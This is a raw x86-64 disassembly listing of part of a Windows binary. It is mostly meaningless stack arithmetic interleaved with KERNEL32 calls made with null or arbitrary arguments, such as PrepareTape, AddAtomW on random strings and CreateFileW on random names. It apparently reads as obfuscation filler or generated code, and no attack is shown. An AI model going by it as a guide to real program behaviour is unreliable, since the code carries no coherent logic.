mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad830], eax
lea rax, [0x1402ad788]
mov qword [rsp + 0x1a6f0], rax
mov eax, dword [rsp + 0xc91c]
mov ecx, dword [rsp + 0xd198]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
lea rax, [rsp + 0x8128]
mov qword [rsp + 0x1a6f8], rax
movzx eax, word [rsp + 0x383c]
movzx ecx, word [rsp + 0x3848]
or eax, ecx
mov word [rsp + 0x3664], ax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22d]
imul eax, ecx
mov byte [rsp + 0x3f6], al
mov eax, dword [rsp + 0xce64]
mov ecx, dword [rsp + 0xd5f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdcc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a610]
mov ecx, dword [rsp + 0xd078]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcff4], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
mov dword [rsp + 0xd8cc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x1a140]
mov ecx, dword [rsp + 0xd4e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3858], ax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x85c], al
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3690], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x98d0
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd4b8], eax
movsx eax, byte [rsp + 0x791]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7ab], al
mov eax, dword [0x1402ad644]
mov ecx, dword [rsp + 0xd188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc3fc], eax
mov rax, qword [rsp + 0x1a260]
mov rcx, qword [rsp + 0x1a140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf10], eax
movzx eax, word [rsp + 0x2048]
mov word [rsp + 0x39f8], ax
mov rax, qword [rsp + 0x1a4f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d4]
sub eax, ecx
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xbac0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad834], eax
mov eax, dword [rsp + 0xd418]
mov rcx, qword [rsp + 0x1a080]
mov qword [rsp + 0x1a700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a700]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa728], eax
mov eax, dword [rsp + 0xc224]
mov dword [rsp + 0xd8d0], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd204]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a04], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x39d0]
sar eax, cl
mov word [rsp + 0x30ac], ax
movzx eax, byte [rsp + 0x844]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19908]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a200]
mov eax, dword [rax]
mov dword [rsp + 0xd8d4], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xd290]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xba70], eax
mov rax, qword [rsp + 0x1a1b8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad644]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ca0]
mov ecx, dword [rsp + 0xd21c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad838], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov dword [rsp + 0xd8d8], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79e]
add eax, ecx
mov byte [rsp + 0x820], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce44], eax
movzx eax, word [rsp + 0x3290]
mov word [rsp + 0x39fc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.3GLW08mENtWHI9LhJ6P6ZPQ_aJY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a708], rax
mov rax, qword [rsp + 0x1a1c0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad790]
add eax, ecx
mov word [rsp + 0x37fc], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd50], eax
movzx eax, byte [rsp + 0x857]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7e3], al
mov rax, qword [rsp + 0x1a250]
mov rcx, qword [rsp + 0x1a410]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6d8], eax
mov eax, dword [rsp + 0x97bc]
mov ecx, dword [0x1402ad71c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb7e0], eax
movzx eax, byte [rsp + 0x7d4]
mov byte [rsp + 0x85d], al
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402bf53c], ax
mov eax, dword [rsp + 0xd718]
mov ecx, dword [0x1402ad800]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0f4], eax
mov rax, qword [rsp + 0x19d20]
mov ecx, dword [rsp + 0xac7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd2cc], eax
mov eax, dword [rsp + 0xd8d8]
mov dword [rsp + 0xd8dc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd338], eax
mov eax, dword [rsp + 0xce94]
mov rcx, qword [rsp + 0x1a478]
mov qword [rsp + 0x1a710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a710]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd3d4], eax
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd8e0], eax
movzx eax, byte [rsp + 0x81a]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55a], al
movzx eax, word [rsp + 0x3720]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3988], ax
mov eax, dword [rsp + 0x8c6c]
mov ecx, dword [rsp + 0xd3bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6c8], eax
lea rax, [rsp + 0xd40c]
mov qword [rsp + 0x1a718], rax
movsx eax, word [0x1402ad63c]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad7f0], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x858], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x18a]
mov byte [rsp + 0x85e], al
movzx ecx, word [rsp + 0x3954]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3718], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce50], eax
movzx eax, word [rsp + 0x39e4]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3600], ax
lea rax, [rsp + 0xd22c]
mov qword [rsp + 0x1a720], rax
mov rax, qword [rsp + 0x1a368]
mov rcx, qword [0x1402bf670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd724], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd428]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a328]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd394]
mov dword [rsp + 0xd8e4], eax
mov eax, dword [rsp + 0xa59c]
mov ecx, dword [rsp + 0xd3d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd818], eax
movzx eax, byte [rsp + 0x816]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58b], al
lea rax, [rsp + 0x1b68]
mov qword [0x1402bf4e8], rax
mov rax, qword [rsp + 0x1a0d0]
mov ecx, dword [rsp + 0xd30c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcec8], eax
mov eax, dword [rsp + 0xd024]
mov ecx, dword [rsp + 0xd300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2c4], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
mov dword [rsp + 0xd8e8], eax
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f58]
mov qword [rsp + 0x1a728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a728]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xbac0], eax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov byte [rsp + 0x85f], al
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x39ac], ax
movsx eax, byte [rsp + 0x789]
movsx ecx, byte [rsp + 0xb4]
or eax, ecx
mov byte [rsp + 0x1d3], al
movsx eax, word [rsp + 0x3980]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1be0], ax
lea rax, [rsp + 0xcdd0]
mov qword [0x1402bf4e0], rax
mov rax, qword [rsp + 0x1a6f8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f44], eax
lea rax, [rsp + 0x7f1]
mov qword [rsp + 0x1a730], rax
movzx eax, word [rsp + 0x35bc]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1a350]
mov word [rcx], ax
mov rax, qword [0x1402bf5f0]
mov ecx, dword [rsp + 0xd810]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd448], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd8ec], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd8f0], eax
mov rax, qword [rsp + 0x19f60]
mov rcx, qword [rsp + 0x1a630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd788], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcf24], eax
mov eax, dword [0x1402bf5b4]
mov dword [rsp + 0xd8f4], eax
movzx eax, word [rsp + 0x393c]
movzx ecx, word [rsp + 0x3898]
add eax, ecx
mov word [rsp + 0x3654], ax
movzx eax, byte [rsp + 0x80f]
movzx ecx, byte [0x1402bf6f0]
add eax, ecx
mov byte [0x1402acb76], al
mov eax, dword [rsp + 0x9320]
mov dword [rsp + 0xd8f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0x8c6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd378], eax
mov rax, qword [rsp + 0x1a268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd434]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
lea rax, [rsp + 0x9c10]
mov qword [rsp + 0x1a738], rax
mov eax, dword [rsp + 0xd7fc]
mov ecx, dword [rsp + 0xcf10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8b0], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf5e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3e1], al
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3874]
sar eax, cl
mov word [rsp + 0x3620], ax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3744]
xor eax, ecx
mov word [rsp + 0x1d7c], ax
mov rax, qword [0x1402bf518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x829]
shl eax, cl
mov byte [0x1402bf720], al
mov eax, dword [rsp + 0x873c]
mov dword [rsp + 0xd8fc], eax
mov rax, qword [rsp + 0x1a528]
mov rcx, qword [rsp + 0x19ed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd298], eax
movzx eax, word [rsp + 0x1df4]
mov word [rsp + 0x3a00], ax
movzx eax, byte [rsp + 0x7ca]
movzx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [rsp + 0x855], al
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd830], eax
mov eax, dword [rsp + 0xd8a4]
mov ecx, dword [rsp + 0xc93c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bc4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd618], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd734]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b0], eax
lea rax, [0x1402ad634]
mov qword [rsp + 0x1a740], rax
movzx eax, byte [rsp + 0x44f]
mov byte [0x1402bf4da], al
movzx eax, word [rsp + 0x36b8]
movzx ecx, word [rsp + 0x20c8]
sub eax, ecx
mov word [rsp + 0x229c], ax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov dword [rsp + 0xd900], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7431
mov rcx, qword [rsp + 0x1a3c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd904], eax
mov rax, qword [0x1402bf610]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd034], eax
movsx eax, byte [rsp + 0x842]
movsx ecx, byte [rsp + 0x15e]
add eax, ecx
mov rcx, qword [rsp + 0x199d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ca8]
movzx eax, word [rax]
mov word [rsp + 0x3a04], ax
movzx eax, byte [0x1402bf6b0]
movzx ecx, byte [rsp + 0x831]
sub eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, word [rsp + 0x38c4]
movzx ecx, word [rsp + 0x37d8]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0x19eb0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e4], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198c0]
mov qword [rsp + 0x1a748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a748]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad7bc], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [0x1402bf648]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8194], eax
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov dword [rsp + 0xd908], eax
mov rax, qword [rsp + 0x1a588]
mov rcx, qword [rsp + 0x19c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd1f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
movzx eax, byte [rsp + 0x468]
mov byte [rsp + 0x860], al
lea rcx, str.7PvM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3958], ax
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25b8]
shl eax, cl
mov rcx, qword [rsp + 0x1a500]
mov word [rcx], ax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xd3b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd874], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd200], eax
mov rax, qword [0x1402bf4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd064]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x85a4], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd864]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd548], eax
mov eax, dword [0x1402ad778]
mov ecx, dword [rsp + 0xd824]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad83c], eax
movzx eax, byte [rsp + 0x7e8]
mov byte [rsp + 0x861], al
movzx eax, word [rsp + 0x37ec]
movzx ecx, word [rsp + 0x3974]
sub eax, ecx
mov word [rsp + 0x35c0], ax
movsx eax, word [rsp + 0x30f4]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36e4], ax
mov rax, qword [rsp + 0x19d50]
movzx eax, byte [rax]
mov byte [rsp + 0x862], al
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8674]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd4b8], eax
lea rcx, str.qOvEpBFDU8tPrS_11JuuZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3a08], ax
mov rax, qword [rsp + 0x1a538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd18c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9368], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd8ac], eax
movzx eax, word [rsp + 0x2048]
movzx ecx, word [rsp + 0x39d4]
add eax, ecx
mov word [rsp + 0x37c8], ax
movzx eax, byte [rsp + 0x7bb]
mov byte [rsp + 0x863], al
mov rax, qword [rsp + 0x1a410]
mov rcx, qword [rsp + 0x1a3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad840], eax
mov eax, dword [rsp + 0x93c4]
mov ecx, dword [rsp + 0x9ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov eax, dword [rsp + 0xcf00]
mov ecx, dword [rsp + 0xb208]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd148], eax
mov eax, dword [rsp + 0xd2ac]
mov dword [rsp + 0xd90c], eax
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39f0]
xor eax, ecx
mov word [rsp + 0x39e0], ax
movzx eax, byte [rsp + 0x7c9]
mov byte [rsp + 0x864], al
lea rdx, [rsp + 0xcce0]
mov rcx, qword [rsp + 0x1a418]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd910], eax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
mov rcx, qword [0x1402bf768]
mov qword [rsp + 0x1a750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a750]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcde4], eax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e78]
mov qword [rsp + 0x1a758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a758]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd598], eax
lea rdx, [rsp + 0x2d2d8]
mov rcx, qword [rsp + 0x1a3c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd458], eax
mov rax, qword [rsp + 0x1a3a8]
mov rcx, qword [rsp + 0x1a478]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x91b4], eax
mov eax, dword [rsp + 0xd2f0]
mov ecx, dword [rsp + 0xd418]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad71c], eax
mov rax, qword [rsp + 0x19a18]
mov ecx, dword [rsp + 0xcf3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd270], eax
mov rax, qword [rsp + 0x1a540]
movzx eax, word [rax]
mov word [rsp + 0x3a0c], ax
mov rax, qword [rsp + 0x19ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x856], al
mov rax, qword [rsp + 0x1a5a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3600], ax
mov rax, qword [rsp + 0x1a5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x865], al
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x19c30]
mov ecx, dword [0x1402ad6a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa48], eax
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a18]
sub eax, ecx
mov word [rsp + 0x2d04], ax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bf710], al
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov dword [rsp + 0xd914], eax
mov eax, dword [rsp + 0xd844]
mov ecx, dword [rsp + 0xa730]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5f0], eax
mov rax, qword [rsp + 0x19cf8]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd27c], eax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov dword [rsp + 0xd918], eax
movzx eax, byte [rsp + 0x7ef]
movzx ecx, byte [rsp + 0x61]
shl eax, cl
mov byte [rsp + 0x7fa], al
lea rcx, str.MDwnQz3I8W
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3a10], ax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d38], ax
mov eax, dword [rsp + 0xad98]
mov ecx, dword [0x1402ad6b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4fc], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa240]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9828], eax
mov rax, qword [rsp + 0x19768]
movzx eax, word [rax]
mov word [0x1402bf4d8], ax
mov rax, qword [rsp + 0x19bb0]
movzx eax, byte [rax]
mov byte [rsp + 0x866], al
mov rax, qword [rsp + 0x1a638]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x632]
imul eax, ecx
mov byte [rsp + 0x803], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov word [rsp + 0x3a14], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402ad710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadd0], eax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd57c], eax
mov rax, qword [rsp + 0x1a678]
mov ecx, dword [0x1402ad77c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8578], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x1a5e0]
mov ecx, dword [rsp + 0x7eec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce58], eax
lea rax, [rsp + 0xd160]
mov qword [rsp + 0x1a760], rax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7fa], al
movzx eax, word [rsp + 0x2a04]
movzx ecx, word [rsp + 0x3860]
imul eax, ecx
mov word [0x1402ad844], ax
mov rax, qword [0x1402bf4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd098], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xd91c], eax
mov rax, qword [rsp + 0x1a098]
mov ecx, dword [rsp + 0xd1d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c8c], eax
mov eax, dword [rsp + 0xa224]
mov dword [rsp + 0xd920], eax
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xce84], eax
movzx eax, byte [0x1402bf52c]
mov rcx, qword [rsp + 0x1a4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x819], al
movzx eax, word [rsp + 0x2024]
mov word [rsp + 0x3a18], ax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3868], ax
movsx eax, byte [rsp + 0x7ab]
mov rcx, qword [rsp + 0x19f48]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a220]
mov byte [rcx], al
mov rax, qword [rsp + 0x19eb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce4c]
shl eax, cl
mov dword [0x1402ad744], eax
mov rax, qword [rsp + 0x19d38]
mov ecx, dword [0x1402ad728]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x958c], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x79d], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov word [rsp + 0x3a1c], ax
mov eax, dword [rsp + 0xd788]
mov ecx, dword [rsp + 0xcd98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce60], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb520], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xd924], eax
mov rax, qword [rsp + 0x1a6f0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad680]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3e0], eax
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e88], ax
mov rax, qword [rsp + 0x1a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb3a], al
mov rax, qword [rsp + 0x1a3a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd654], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.0Iuqef
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a768], rax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb984], eax
mov eax, dword [rsp + 0xa958]
mov dword [rsp + 0xd928], eax
mov rax, qword [rsp + 0x1a1e8]
mov ecx, dword [rsp + 0xd600]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0c0], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
